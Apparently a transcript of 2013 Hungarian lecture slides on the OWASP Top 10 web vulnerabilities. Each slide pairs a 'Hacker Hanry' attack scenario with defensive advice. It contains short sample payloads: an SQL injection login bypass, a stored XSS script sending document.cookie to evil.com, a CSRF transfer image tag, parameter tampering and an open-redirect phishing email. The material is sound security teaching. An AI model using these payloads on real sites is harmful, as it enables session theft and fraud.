owasp top 10 -...
TRANSCRIPT
OWASP TOP10 Azaz a 10 legkritikusabb hiba web-alkalmazásokban
2013. November 9.
Bemutatkozás
• Prém Dániel Tanszéki mérnök az Óbudai Egyetemen. Az iSec Newton Security csoport vezetője. [email protected]
A TOP10 bemutatása
A projekt célja, hogy összegyűjtse egy dokumentumba a webes alkalmazásokat érintő tíz legjelentősebb sérülékenységi fajtát és ezáltal segítséget nyújtson a szervezeteknek, hogy biztonságosabb programkódot készíthessenek.
Az első lista 2003-ban látott napvilágot, majd 2004-ben és 2007-ben frissítették, a következő kiadás 2010-ben debütált és a jelenlegi utolsó verzió pedig idén, 2013. június 12.-én került a nyilvánosság elé.
A dokumentum eredeti nyelve angol, de lefordították francia, német, olasz, spanyol, kínai, japán, koreai, indonéz, vietnámi és héber nyelvre!
A TOP10 felhasználói
• U.S. Defense Information Systems Agency
• U.S. Federal Trade Commission
• Payment Card Industry (PCI)
• British Telecom
• Citibank
• HP
• IBM Global Services
• Symantec
• És még sokan mások…
A TOP10-es lista áttekintése
https://www.owasp.org/index.php/Top_10
2010 vs. 2013
TOP10 - 2010 TOP10 - 2013
A1 Injection A1 Injection
A2 Cross Site Scripting (XSS) A2 Broken Authentication and Session Management
A3 Broken Authentication and Session Management
A3 Cross Site Scripting (XSS)
A4 Insecure Direct Object References A4 Insecure Direct Object References
A5 Cross Site Request Forgery (CSRF) A5 Security Misconfiguration
A6 Security Misconfiguration A6 Sensitive Data Exposure
A7 Insecure Cryptographic Storage A7 Missing Function Level Access Control
A8 Failure to Restrict URL Access A8 Cross Site Request Forgery (CSRF)
A9 Insufficient Transport Layer Protection A9 Using Known Vulnerable Components
A10 Unvalidated Redirects and Forwards A10 Unvalidated Redirects and Forwards
Fejezetek áttekintése
A1: Injection
• A befecskendezés lényege, hogy adatokat vagy utasításokat juttatunk be az alkalmazáson keresztül a parancsértelmezőnek
• SQL, LDAP, XPath, OS Shell, kódbefecskendezés, stb…
• Sajnos a mai napig igen elterjedt (főleg az SQL Injection) azonban elég egyszerűen elkerülhető lenne megfelelő odafigyeléssel
• Az elmúlt években olyan szervezetek estek áldozatul ennek a támadási formának mint a Sony, LinkedIn, eHarmony és a Yahoo
A1: Injection
1. Hacker Hanry betölti az oldalt
2. Majd a támadást az űrlapba beírja és beküldi a szerverre
3. Az alkalmazás felépíti az SQL lekérdezést és továbbítja az adatbázis felé
SELECT * FROM `users`
WHERE `name` = '' OR 1=1 --'
AND `pass` = '';
4. Az adatbázis lefuttatja a módosított lekérdezést és az adatokat visszaküldi az alkalmazásnak
user #1: Kiss Béla, [email protected], … user #2: Nagy Nóra, [email protected], … … user #n: Tóth Péter, [email protected], …
5. Az alkalmazás kiadja az adatokat, jóváhagyja a hozzáférést, lefuttatja az utasításokat…
A1: Injection
• Javaslatok: – Alkalmazzunk megfelelő bemeneti paraméter ellenőrzést (pl.: típus,
hossz, érték, stb…)
– Ahol csak tehetjük, alkalmazzunk White List alapú ellenőrzést a bemenő adatokon
– Használjunk jól bevált technikákat, mint a Prepared Statements vagy Stored Procedures
– A kiosztott adatbázis jogosultságot minimalizáljuk
• Bővebben: http://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet http://www.owasp.org/index.php/Testing_for_SQL_Injection_(OWASP-DV-005) http://www.owasp.org/index.php/SQL_Injection http://www.owasp.org/index.php/Blind_SQL_Injection http://www.owasp.org/index.php/XPATH_Injection http://www.owasp.org/index.php/Command_Injection http://www.owasp.org/index.php/LDAP_injection
A2: Broken Authentication and Session Management
• Az alkalmazások a felhasználók hitelesítését és munkamenet kezelését gyakran nem megfelelően hajtják végre, így lehetővé teszik a támadóknak, hogy megszerezzék esetleg kitalálják a jelszavakat és munkamenet azonosítókat, vagy egyéb végrehajtási hibákat kihasználva megszemélyesítsenek egy felhasználót. – A bejelentkezést sok esetben titkosított csatornán (SSL) lehet elvégezni, azonban ez
sokszor nem kényszerített, tehát lehallgatható
– Másik alapvető hiba, hogy munkamenet azonosító védelméről is megfeledkezünk. Tudni kell, hogy kinek adtuk oda, meddig érvényes, stb…
– Egy hacker szemszögéből szinte lényegtelen, hogy a felhasználónév és jelszó párost szerzi meg vagy a munkamenet azonosítót, hiszen mind a kettő segítségével meg tudja személyesíteni az áldozatot
– Természetesen ide tartozik még a gyenge jelszó kezelés, azaz nincs minimális hossz, vagy nincs megkövetelve a jelszó komplexitás
– Valamint a nem kellő körültekintéssel megtervezett jelszó emlékeztető
A2: Broken Authentication and Session Management
1. Hacker Hanry monitorozza a hálózati forgalmat
2. Alice bejelentkezik az alkalmazásba
3. Hacker Hanry megszerezte Alice belépési adatait
1. Alice munkamenetét az oldal URL-ben adja vissza
Lehallgatás:
Munkamenet eltérítés:
2. Alice kattint egy linkre, amit egy bejegyzésben talált (pl.: http://www.evil.com)
3. Hacker Hanry letölti a napló referer tartalmát
3. Hacker Hanry megszemélyesíti Alicet a munkament birtokában
www.site.com?JSESSION=93C6A...
A2: Broken Authentication and Session Management
• Javaslatok: – A beléptetés legyen egyszerű, centralizált és standardizált – Ügyeljünk arra, hogy a belépési adatokat és a munkamenet
azonosítót mindig SSL csatornával védjük – Felejtsük el az automatizált sérülékenység vizsgálati
eszközöket – Ellenőrizzük az SSL tanúsítvány hitelességét és
érvényességét – Bizonyosodjunk meg arról, hogy a kilépés biztosan
megszünteti a munkamenetet és a benne tárolt adatokat
• Bővebben: https://www.owasp.org/index.php/Authentication_Cheat_Sheet https://www.owasp.org/index.php/Session_Management_Cheat_Sheet
A3: Cross-Site Scripting (XSS)
• A támadás a felhasználók böngészőjében hajtódik végre • Lehet tárolt, tükrözött és DOM alapú • Szinte biztosan található minden web-alkalmazásban XSS
sérülékenység… • Tipikusan a felhasználói munkamenet vagy
érzékeny/személyes adatok megszerzésére használatos. De előfordul, hogy segítségével módosítják a weboldal tartamát, esetleg a látogatót átirányítják egy adathalász oldalra
• Az elmúlt időszakban olyan honlapokban találtak XSS hibákat, mint az iwiw.hu, ebay.com, cnn.com, adobe.com, amazon.com, microsoft.com, myspace.com
A3: Cross-Site Scripting (XSS)
Tárolt XSS 1. Hacker Hanry betölti az oldalt
és az ártó kódját beküldi az alkalmazásnak
<script>
document.write(
”<img src=’http://evil.com?q=”
+ document.cookie + ”’ alt=’’ />” );
</script>
2. Alice betölti az alkalmazást a tárolt kóddal együtt
3. Alice böngészője lefuttatja a kódot és kiszolgáltatja az adatokat vagy módosítja a honlap szerkezét mivel a teljes DOM elérhető
4. Hacker Hanry letölti a szerverről milyen adatokat gyűjtött össze…
A3: Cross-Site Scripting (XSS)
• Javaslatok:
– Ne használjuk fel (és ne jelenítsük meg) közvetlenül a felhasználók által bevitt adatokat
– Alkalmazzunk kimeneti kódolást (pl.: HTML entitások) minden felhasználói adatra • http://www.owasp.org/index.php/ESAPI
• http://www.owasp.org/index.php/OWASP_Java_Encoder_Project
– Ha bejövő HTML adatot kell kezelni, akkor pedig minden esetben meg kell tisztítani az adatokat • http://www.owasp.org/index.php/AntiSamy
• Bővebben: http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet http://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet http://www.owasp.org/index.php/Testing_for_Cross_site_scripting http://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting_(OWASP-DV-001)
http://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet http://www.owasp.org/index.php/OWASP_Xenotix_XSS_Exploit_Framework
A4: Insecure Direct Object References
• Akkor fordul elő, amikor egy hivatkozást helyezünk el egy állományra, oldalra, könyvtárra vagy bármilyen objektumra, anélkül, hogy bármilyen hozzáférés vezérlést alkalmaznánk
• Ez a téma érinti a jogosultság kezelést és az A7-as URL hozzáférés korlátozásának hiányának fejezetét
• Gyakori hiba, hogy csak azokat a tartalmakat listázzuk, amelyhez a felhasználónak joga van. Azonban a szerver oldalon amikor a konkrét kérés végrehajtódik ezt már nem ellenőrizzük újra. Így a támadó bármikor átírja az objektum hivatkozást és olyan tartalomhoz is hozzáférhet, amelyhez normál esetben nem lenne szabad
A4: Insecure Direct Object References
1. A felhasználó betölti a bank online felületét
2. Hacker Hanry észreveszi, hogy a saját azonosítója a 4057
3. Majd módosítja a paramétert
4. Végül Hacker Hanry megszerzi áldozata számlaösszesítőjén található információkat
https://onlinebank.com/overview? acc=4057 acc=4056
A4: Insecure Direct Object References
• Javaslatok: – Kerüljük a Path Traversal, Local File Inclusion lehetőségét
– A közvetlen linkelés helyett alkalmazzunk valamilyen leképzési technikát: http://webapp.com/get?file=SecretReport.pdf http://webapp.com/get?file=C5LDJ28S832K
– Ellenőrizzük, hogy a paraméter megfelelő formátumú-e
– Minden esetben ellenőrizzük, hogy a felhasználó jogosult-e a tartalom elérésre
– Ügyeljünk arra is, hogy csak a megfelelő műveletet végezhesse el az adott objektummal a felhasználó (pl.: olvasás, írás, törlés)
• Bővebben: http://www.owasp.org/index.php/Top_10_2010-A4-Insecure_Direct_Object_References http://www.owasp.org/index.php/Guide_to_Authorization
A5: Security Misconfiguration
• Az igazi biztonság megköveteli, hogy a teljes rendszer naprakész és jól konfigurált legyen az operációs rendszertől a web és adatbázis szerveren át a teljes alkalmazásig
• Mindezeket a beállításokat meg kell határozni, végre kell hajtani majd folyamatosan karbantartani és ellenőrizni
• Fontos azt is tudni, hogy a gyártók a termékeket alapból nem a biztonságos konfigurációval látják el, hiszen akkor a használatba vétel igen nehézkes lenne. Emiatt azt későbbi beállításokkal kell megteremteni
• Nem szabad megfeledkezni hogy nem csak az OS-t és az alkalmazásokat kell ellenőrizni, hanem minden osztálykönyvtárat és külső modult is amelyet az alkalmazás használ
A5: Security Misconfiguration
A5: Security Misconfiguration
• Javaslatok: – Ellenőrizni kell a beállításokat minden szinten
– Javasolt a Hardening Guide-ok alkalmazása
– Az automatizálás ezen a ponton NAGYON HASZNOS lehet
– Tartsuk napra késszen a rendszereket a javításokkal, nem csak az operációs rendszer és az alkalmazásokat, hanem minden osztálykönyvtárra fordítsunk kellő figyelmet
– Elemezzük a változások biztonsági hatását
• Bővebben: https://www.owasp.org/index.php/Configuration https://www.owasp.org/index.php/Testing_for_configuration_management
A6: Sensitive Data Exposure
• A régi „ Insecure Cryptographic Storage” és „ Insufficient Transport Layer Protection ” összevonása
• Általános gond, hogy hibásan vagy hiányosan (vagy egyáltalán nem) azonosítják az érzékeny adatokat,
• és azok tárolás helyét – adatbázisok, fájlok, könyvtárak, naplók, mentések, stb.
• valamint azokat a helyeket ahova az adatot elküldjük – weben, backend adatbázis, üzleti partner, belső kommunikáció, api, third-party
• A baj, hogy ezen okok miatt nem sikerül megfelelően megvédeni az érzékeny adatot az összes előfordulási helyén
• Emiatt a támadó hozzáférhet bizalmas vagy akár személyes adatokhoz is (kártyaadatok, pénzügyi adatok, egészségügyi adatok, stb)
A6: Sensitive Data Exposure
• Insecure Cryptographic Storage – Ide tartozik a gyenge titkosítás, ami miatt visszafejthető az adat
– A titkosítási kulcs nem megfelelő kezelése (pl.: a szalagos meghajtóra került adatokat titkosítjuk, majd a kulcs ugyan arra a szalagra kerül)
– A hibásan implementált jelszó kivonatok, hiszen egy sózás nélküli hash akár néhány óra alatt visszafejthető lehet
– A napló állományokba bekerült ellenőrizetlen adatok (pl.: a webszerver naplójába letároljuk a felhasználói jelszavakat)
• Insufficient Transport Layer Protection – Sokan nem gondolnak a hálózat titkosítására amikor érzékeny adatokat
küldenek át. Ha mégis akkor sokszor gyenge algoritmusokat, érvénytelen tanúsítványokat használnak.
A6: Sensitive Data Exposure
1. Az áldozat megadja a bankkártya adatait az alkalmazásnak
2. A hibanaplózó lementi a kérés adatait a napló állományba, mivel a Fizetési Átjáró nem elérhető
3. Minden IT dolgozó számára elérhetőek a napló állományok a hibakeresés céljából
4. Egy belső munkatárs máris meglovasítja a naplóban található 4 millió kártya számot…
Insecure Cryptographic Storage
A6: Sensitive Data Exposure
1. A külső támadó könnyedén lehallgathatja a hálózati forgalmat és megszerezheti a belépési adatokat
2. Sok esetben csak a web szerver és a kliens közötti kapcsolat titkosított, ekkor minden gond nélkül egy belső támadó lehallgathatja az alkalmazás és a backend közötti forgalmat
Insufficient Transport Layer Protection
A6: Sensitive Data Exposure
• Javaslatok: – Azonosítsuk az érzékeny adatokat
– Azonosítsuk a helyeket ahova az érzékeny adatok kerülhetnek
– Védjük az adatokat és folyamatokat megfelelő titkosítással vagy kivonatolással
– Használjunk standard és bizonyított eljárásokat ne találjunk ki sajátot, mert az nem bizonyított
– A kulcsok kezelése legyen megoldva és kellő körültekintéssel kezelve
– Alkalmazzunk TLS kapcsolatot mindenhol, ahol érzékeny adat közlekedik
– Digitálisan írjuk alá az üzeneteket
– Ellenőrizzük az SSL tanúsítványokat mielőtt használjuk
• Bővebben: https://www.owasp.org/index.php/Top_10_2010-A7-Insecure_Cryptographic_Storage https://www.owasp.org/index.php/Guide_to_Cryptography https://www.owasp.org/index.php/Codereview-Cryptography https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet https://www.owasp.org/index.php/Testing_for_SSL-TLS
A7: Missing Function Level Access Control
• Ez a téma régen „Failure to Restrict URL Access” névre hallgatott és kapcsolatban áll a jogosultság kezeléssel és az A4-es fejezettel, ami a nem biztonságos közvetlen objektum hozzáférés címet viselte
• Ez a fejezet viszont kifejezetten az alkalmazás oldalaira tér ki az URL manipulálásával
• Az alapvető probléma, hogy a jogosultságokat a linkrendszerbe építik bele és csak azokat a linkeket vagy menüket jelenítik meg a felhasználó számára amihez joga van, azonban ha kézzel átírja a hivatkozásokat és a szerver oldalon nem történik meg az újraellenőrzés, hogy ténylegesen jogosult-e a tartalom megtekintésére vagy módosítására…
A7: Missing Function Level Access Control
1. A felhasználó betölti a bank online felületét
2. Hacker Hanry észreveszi, hogy felhasználó szerepkörben van
3. Majd módosítja a paramétert, ezáltal a szerepkörét
4. Végül Hacker Hanry magasabb jogkörre tesz szert, mint alapból járna neki, így több információhoz jut hozzá
https://onlinebank.com/ user /overview admin
A7: Missing Function Level Access Control
• Javaslatok: – Minden oldalnak 3 dologra van szüksége:
• Ellenőrizze, hogy a felhasználó belépett-e (ha nem publikus a tartalom)
• Végre kell hajtani a felhasználói vagy a szerepkör alapú jogosultságkezelést
• Teljesen le kell tiltani a lehetőségét a jogosulatlan kérelmeknek, amelyek konfigurációs állományokra, napló fájlokra vagy forrás állományokra irányulnak
– Alkalmazzunk White List féle megközelítést
– Az automatizált eszközök itt is sokszor gyengének bizonyulnak
• Bővebben: https://www.owasp.org/index.php/Guide_to_Authorization https://www.owasp.org/index.php/Testing_for_Path_Traversal https://www.owasp.org/index.php/Forced_browsing
A8: Cross-Site Request Forgery (CSRF)
• Ebben a támadásban a támadó ráveszi az áldozat böngészőjét, hogy egy kérést intézzen a sérülékeny alkalmazás felé
• Ez a módszer azért sikeres, mert a böngésző minden kéréshez elküldi az azonosítási adatokat is, mint pl.: Authentication Header, Session ID, IP cím, Windows domain creditentials, stb…
• Továbbá az is hozzájárul, hogy az áldozat nem lép ki az alkalmazásból
• Az előző két pont hatásaként a támadó olyan kéréseket indíthat a sérülékeny alkalmazás felé, amit az legitim forgalomnak fog értékelni
• Tipikusan arra használják, hogy átutalásokat kezdeményezzenek, esetleg zároljanak egy fiókot, vagy bizalmas adatokhoz férjenek hozzá
A8: Cross-Site Request Forgery (CSRF)
1. Hacker Hanry elhelyezi az ártalmas kódot egy honlapon, amit az áldozati is látogat
2. Alice meglátogatja a sérülékeny alkalmazást, viszont nem jelentkezik ki
3. Kicsivel később Alice meglátogatja azt az oldalt, ahová Hacker Hanry beszúrta az ártalmas kódját
4. Alice böngészője értelmezi a kódot, majd egy legitimnek tűnő kérést intéz a sérülékeny alkalmazáshoz Alice nevében, amit valójában Hacker Hanry kezdeményezett…
<img src=”http://mybank.com/transfer?
amount=1500&dstAcc=4057” width=”0” height=”0” />
A8: Cross-Site Request Forgery (CSRF)
• Javaslatok: – Használjunk token rendszert, ahol érzékeny adatok feldolgozása történik,
ezáltal ellehetetlenítve a támadót, hogy kérést hamisítson
– A tokennek kriptográfiai erősségűnek vagy randomnak kell lennie
– Kerüljük a token URL-be helyezését, mert a referer mezővel kiolvasható
– Űrlapok esetében a rejtett mező erősen javasolt
– Minden egyes kérésnek egyedi tokenje legyen, lehetőleg lejárati idővel
– Használjunk másodlagos (kétfaktoros) authentikációt az érzékeny műveletekhez
• Bővebben: https://www.owasp.org/index.php/CSRF_Prevention_Cheat_Sheet
A9: Using Known Vulnerable Components
• Elég sokan használnak valamilyen komponenst (Framework, Library, Class) amely ismert sérülékenységet tartalmaz. Ez igen gyakran bennmarad és kihat az alkalmazásra, mert a felhasznált komponenst nem frissítette a fejlesztő (sőt nem is tudja, hogy milyen komponenseket használ valójában), vagy a komponens fejlesztése befejeződött.
– Elég csak az idei év JAVA keretrendszer hányattatott sorsára gondolni
• Ezeket a pontokat automatizált eszközökkel nagyon könnyen lehet azonosítani és a bennük rejtett sérülékenységet kihasználni.
• Ezen hibák kihatása elég szélsőséges is lehet. Elképzelhető, hogy akár teljes IT rendszer felett is át lehet venni az uralmat.
A9: Using Known Vulnerable Components
• Javaslatok:
– Minimum kézzel, de ha lehet valamilyen automatikus eszközzel ellenőrizzük az osztálykönyvtárak, keretrendszerek kiadási verziószámát.
– Ez az ellenőrzést, periodikusán végezzük el. Jó megoldás ha a nightly build lefutásakor tesszük mindezt.
– Nem csak a verziószámokat javasolt ellenőrizni, hanem az ismert sérülékenységeket tartalmazó információkat is (CVE).
Automatizált példa JAVA környezetben Maven Versions Plugin
A10: Avoiding Unvalidated Redirects and Forwards
• A webes alkalmazások gyakran átirányítják (Redirect) vagy továbbítják (Forward/Transfer) egy másik lapra a felhasználókat
• Megfelelő ellenőrzés nélkül a támadó ezt kihasználhatja és átirányíthatja a felhasználót egy adathalász oldalra
• De akár egy továbbítás segítségével jogosulatlan tartalomhoz is hozzáférhet a támadó, hiszen kikerülheti a hozzáférés vezérlés mechanizmusát
A10: Avoiding Unvalidated Redirects and Forwards
1. Hacker Hanry levelet küld az Alice céges E-mail címére
2. Alice kattint a linkre, mivel megbízik benne, hiszen jó domain névre mutat
From: [email protected] To: [email protected] Subject: Nem várt adó visszatérítés
A nyilvántartásunk szerint Önnek lehetősége van adó visszatérítést igényelnie! A folyamat elkezdéséhez kérjük kattintson ide.
http://nav.gov.hu/ado?ev=2012 &...&redirect=www.adathalasz.hu
3. Az alkalmazás nem ellenőrzi a redirect paramétert tehát szól Alice böngészőjének, hogy átirányítja a következő lapra, ami jelen esetben egy adathalász oldal
4. Alice böngészője betölti az adathalász oldalt
5. Alice megbízik az adathalász oldalban, hiszen az előbb ellenőrizte az címet és kinézete is megegyezik az eredetivel
A10: Avoiding Unvalidated Redirects and Forwards
• Javaslatok: – Minimalizáljuk az átirányítások számát az alkalmazásban
– Ha alkalmazzuk, akkor kerüljük a felhasználói paraméterben megadható átirányításokat
– Ha elkerülhetetlen a paraméteres átirányítás akkor mindig ellenőrizzük, hogy a felhasználó jogosult-e az átirányított oldalt elérni
– Külső átirányítás esetén ellenőrizzük, hogy a cél szerepel-e a fehérlistán
• Bővebben: https://www.owasp.org/index.php/Open_redirect
Itt még nincs vége
• Itt még nincs vége!
– Nem elegendő csak a TOP10 sérülékenységeket kijavítani!
– Nem lehet azt gondolni, hogy ha ezek ellen védve vagyunk, akkor nem lehet betörni hozzánk!
– Az OWASP TOP10 csak egy jó kiinduló pont és nem a cél a hibák megértésében, megtalálásában, megoldásában!
• CWE/SANS TOP 25 Most Dangerous SW Errors http://www.sans.org/top25-software-errors/
Hogyan lehet megoldani ezeket a problémákat?
• Fejlesszünk biztonságos kódot – OWASP’s Guide to Building Secure Web Applications
http://www.owasp.org/index.php/Guide
– OWASP’s Application Security Verification Standard http://www.owasp.org/index.php/ASVS
– OWASP’s Enterprise Security API http://www.owasp.org/index.php/ESAPI
• Ellenőrizzük az alkalmazást – Legyen egy szakértői csoport aki átnézi az alkalmazást
– OWASP's Code Review Guide http://www.owasp.org/index.php/Code_Review_Guide
– OWASP's Testing Guide http://www.owasp.org/index.php/Testing_Guide
Hogyan lehet megoldani ezeket a problémákat?
• Tanuljunk sokat – Free OWASP TOP10 képzés
http://securitycompass.com/computer-based-training/free-owasp-top-10/
– Video Prezentáció a TOP10 hibákról (angol) http://www.vimeo.com/9006276
– OWASP WebGoat https://www.owasp.org/index.php/OWASP_WebGoat_Project
– OWASP Bricks https://www.owasp.org/index.php/OWASP_Bricks
– OWASP Broken Web Application https://www.owasp.org/index.php/OWASP_Broken_Web_Applications_Project
• Segédeszközök – OWASP WebScarab
https://www.owasp.org/index.php/OWASP_WebScarab_Project
– OWASP ZAP https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
KÖSZÖNÖM A FIGYELMET